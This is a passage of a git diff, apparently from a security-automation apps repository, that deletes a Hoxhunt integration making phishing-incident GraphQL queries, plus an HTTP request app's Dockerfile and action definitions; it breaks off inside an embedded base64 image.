- data = { - "operationName":"IncidentListQuery", - "variables":{"first": limit, "state": state,"organizationId": organization_id, "sort":"lastReportedAt_DESC"}, - "query":"query IncidentListQuery($policyName: IncidentPolicy, $organizationId: ID, $state: IncidentState, $sort: [Incident_sort], $first: Int, $skip: Int) {\n incidents(first: $first, skip: $skip, filter: {organizationId_eq: $organizationId, policyName_eq: $policyName, state_eq: $state}, sort: $sort) {\n _id\n createdAt\n policyName\n state\n threatCount\n threats(first: 1) {\n _id\n userModifiers {\n repliedToEmail\n downloadedFile\n visitedLink\n openedAttachment\n enteredCredentials\n other\n __typename\n }\n email {\n subject\n from {\n address\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n" - } - - return requests.post(url, headers=headers, json=data) - - def list_threats(self, apikey, organization_id, state="OPEN", limit=50): - url = "https://app.hoxhunt.com/graphql" - headers = { - "authorization": apikey, - "content-type": "application/json", - } - - data = { - "operationName":"IncidentListQuery", - "variables":{"first": limit, "state": state,"organizationId": organization_id, "sort":"lastReportedAt_DESC"}, - "query":"query IncidentListQuery($policyName: IncidentPolicy, $organizationId: ID, $state: IncidentState, $sort: [Incident_sort], $first: Int, $skip: Int) {\n incidents(first: $first, skip: $skip, filter: {organizationId_eq: $organizationId, policyName_eq: $policyName, state_eq: $state}, sort: $sort) {\n _id\n createdAt\n policyName\n state\n threatCount\n threats(first: 1) {\n _id\n userModifiers {\n repliedToEmail\n downloadedFile\n visitedLink\n openedAttachment\n enteredCredentials\n other\n __typename\n }\n email {\n subject\n from {\n address\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n" - } - - return requests.post(url, headers=headers, json=data) - - # This one doesn't work currently. - def get_threat(self, apikey, organization_id, id): - url = "https://app.hoxhunt.com/graphql" - headers = { - "authorization": apikey, - "content-type": "application/json", - } - - data = { - "operationName":"ThreatWorkQueueQuery", - "variables": {"id": id, "organizationId": organization_id}, - "query":"query ThreatWorkQueueQuery($first: Int, $threatId: ID, $searchText: String, $severity: ThreatSeverity, $campaignThreatId: ID, $organizationId: String, $direction: ThreatWorkQueueDirection) {\n threats: threatsAround(filter: {severity_eq: $severity, organizationId_eq: $organizationId, AND: [{OR: [{email__subject_contains: $searchText}, {email__from__address_contains: $searchText}, {email__to__address_contains: $searchText}]}]}, sort: [createdAt_DESC], first: $first, threatId: $threatId, direction: $direction, campaignThreatId: $campaignThreatId) {\n createdAt\n _id\n severity\n feedbackSentAt\n email {\n subject\n from {\n name\n address\n __typename\n }\n __typename\n }\n organization {\n _id\n name\n __typename\n }\n escalationEmail {\n sendDate\n __typename\n }\n reporterUser {\n _id\n profile {\n firstName\n lastName\n __typename\n }\n emails {\n address\n __typename\n }\n player {\n level {\n current\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n" - } - - return requests.post(url, headers=headers, json=data) - - def list_threats(self, apikey, incident_id, organization_id, limit=50): - url = "https://app.hoxhunt.com/graphql" - headers = { - "authorization": apikey, - "content-type": "application/json", - } - - data = { - "operationName":"ThreatWorkQueueQuery", - "variables": {"first": limit,"organizationId": organization_id}, - "query":"query ThreatWorkQueueQuery($first: Int, $threatId: ID, $searchText: String, $severity: ThreatSeverity, $campaignThreatId: ID, $organizationId: String, $direction: ThreatWorkQueueDirection) {\n threats: threatsAround(filter: {severity_eq: $severity, organizationId_eq: $organizationId, AND: [{OR: [{email__subject_contains: $searchText}, {email__from__address_contains: $searchText}, {email__to__address_contains: $searchText}]}]}, sort: [createdAt_DESC], first: $first, threatId: $threatId, direction: $direction, campaignThreatId: $campaignThreatId) {\n createdAt\n _id\n severity\n feedbackSentAt\n email {\n subject\n from {\n name\n address\n __typename\n }\n __typename\n }\n organization {\n _id\n name\n __typename\n }\n escalationEmail {\n sendDate\n __typename\n }\n reporterUser {\n _id\n profile {\n firstName\n lastName\n __typename\n }\n emails {\n address\n __typename\n }\n player {\n level {\n current\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n" - } - - return requests.post(url, headers=headers, json=data) - - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Hoxhunt.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - Hoxhunt.run() diff --git a/http/1.0.0/Dockerfile b/http/1.0.0/Dockerfile deleted file mode 100644 index 9bbc5110..00000000 --- a/http/1.0.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -RUN apk add curl - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/http/1.0.0/api.yaml b/http/1.0.0/api.yaml deleted file mode 100644 index b73b44ed..00000000 --- a/http/1.0.0/api.yaml +++ /dev/null @@ -1,267 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: http -description: HTTP app -tags: - - Testing - - HTTP -categories: - - Testing - - HTTP -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: curl - description: Run a curl command - parameters: - - name: statement - description: The curl command to run - multiline: true - example: "curl https://example.com" - required: true - schema: - type: string - returns: - schema: - type: string - - name: GET - description: Runs a GET request towards the specified endpoint - parameters: - - name: url - description: The URL to get - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Check certificate - multiline: false - options: - - false - - true - required: false - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: POST - description: Runs a POST request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PATCH - description: Runs a PATCHrequest towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PUT - description: Runs a PUT request towards the specified endpoint - parameters: - - name: url - description: The URL to PUT to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: DELETE - description: Runs a DELETE request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - true - - false - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: HEAD - description: Runs a HEAD request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: OPTIONS - description: Runs a OPTIONS request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" -large_image: data:image/png;base64,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